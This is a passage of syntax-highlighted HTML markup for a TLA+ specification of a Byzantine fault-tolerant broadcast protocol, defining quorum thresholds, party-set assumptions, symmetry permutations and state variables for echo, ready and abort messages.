&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 47&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;NULL&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;∅&amp;#34;&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;yet&lt;/span&gt; &lt;span class="n"&gt;set&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 48&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Bottom&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;⊥&amp;#34;&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;abort&lt;/span&gt; &lt;span class="n"&gt;outcome&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 49&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;VExt&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="err"&gt;∪&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;Bottom&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 50&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 51&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 52&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Definitions&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 53&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 54&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;P&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="err"&gt;∪&lt;/span&gt; &lt;span class="n"&gt;Faulty&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 55&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;N&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;Cardinality&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 56&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;F&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;Cardinality&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Faulty&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 57&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 58&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Protocol&lt;/span&gt; &lt;span class="n"&gt;thresholds&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 59&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Q&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;N&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;F&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;quorum&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;when&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 60&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Qo&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;N&lt;/span&gt; &lt;span class="err"&gt;÷&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;F&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;optimistic&lt;/span&gt; &lt;span class="n"&gt;delivery&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 61&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Qa&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;F&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;amplification&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 62&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Qs&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;N&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;F&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;÷&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;supermajority&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 63&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Qe&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;N&lt;/span&gt; &lt;span class="err"&gt;÷&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;backing&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;majority&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 64&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 65&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ASSUME&lt;/span&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;N&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;F&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 66&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="err"&gt;≠&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 67&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="err"&gt;∩&lt;/span&gt; &lt;span class="n"&gt;Faulty&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 68&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;IsFiniteSet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 69&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;IsFiniteSet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Faulty&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 70&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;IsFiniteSet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;V&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 71&lt;/span&gt;&lt;span class="cl"&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Disjointness&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;values&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;parties&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sentinels&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 72&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="err"&gt;∩&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 73&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;Bottom&lt;/span&gt; &lt;span class="err"&gt;∉&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt; &lt;span class="err"&gt;∉&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 74&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;Bottom&lt;/span&gt; &lt;span class="err"&gt;∉&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt; &lt;span class="err"&gt;∉&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 75&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 76&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Symmetry&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;combine&lt;/span&gt; &lt;span class="n"&gt;permutations&lt;/span&gt; &lt;span class="n"&gt;across&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Faulty&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 77&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;CombinePerm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ph&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 78&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt; &lt;span class="err"&gt;∪&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="err"&gt;↦&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="n"&gt;THEN&lt;/span&gt; &lt;span class="n"&gt;ph&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 79&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ELSE&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Faulty&lt;/span&gt; &lt;span class="n"&gt;THEN&lt;/span&gt; &lt;span class="n"&gt;pf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 80&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ELSE&lt;/span&gt; &lt;span class="n"&gt;pv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 81&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 82&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Sym&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;CombinePerm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ph&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 83&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ph&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Permutations&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 84&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;pf&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Permutations&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Faulty&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 85&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;pv&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Permutations&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;V&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 86&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 87&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 88&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Protocol&lt;/span&gt; &lt;span class="n"&gt;State&lt;/span&gt; &lt;span class="n"&gt;Variables&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 89&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 90&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;VARIABLES&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 91&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;honest&lt;/span&gt; &lt;span class="n"&gt;inputs&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 92&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 93&lt;/span&gt;&lt;span class="cl"&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="n"&gt;party&lt;/span&gt; &lt;span class="n"&gt;broadcast&lt;/span&gt; &lt;span class="n"&gt;state&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 94&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="err"&gt;∪&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;}]:&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="n"&gt;broadcast&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;honest&lt;/span&gt; &lt;span class="n"&gt;party&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 95&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;VExt&lt;/span&gt; &lt;span class="err"&gt;∪&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;}]:&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="n"&gt;broadcast&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;honest&lt;/span&gt; &lt;span class="n"&gt;party&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 96&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;sent_abort&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;BOOLEAN&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;whether&lt;/span&gt; &lt;span class="n"&gt;honest&lt;/span&gt; &lt;span class="n"&gt;party&lt;/span&gt; &lt;span class="n"&gt;sent&lt;/span&gt; &lt;span class="n"&gt;abort&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 97&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 98&lt;/span&gt;&lt;span class="cl"&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="n"&gt;Per&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt; &lt;span class="n"&gt;receive&lt;/span&gt; &lt;span class="n"&gt;tracking&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 99&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;rcvd_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;SUBSET&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt; &lt;span class="err"&gt;×&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt;&lt;span class="p"&gt;)]:&lt;/span&gt; &lt;span class="n"&gt;received&lt;/span&gt; &lt;span class="n"&gt;echoes&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;only&lt;/span&gt; &lt;span class="n"&gt;non&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;100&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;rcvd_ready&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;SUBSET&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt; &lt;span class="err"&gt;×&lt;/span&gt; &lt;span class="n"&gt;VExt&lt;/span&gt;&lt;span class="p"&gt;)]:&lt;/span&gt; &lt;span class="n"&gt;received&lt;/span&gt; &lt;span class="n"&gt;readies&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;only&lt;/span&gt; &lt;span class="n"&gt;non&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;101&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;rcvd_abort&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;SUBSET&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;senders&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;ABORT&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;102&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;103&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;delivered&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;VExt&lt;/span&gt; &lt;span class="err"&gt;∪&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;}]:&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;104&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;105&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;send_vars&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sent_abort&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt;
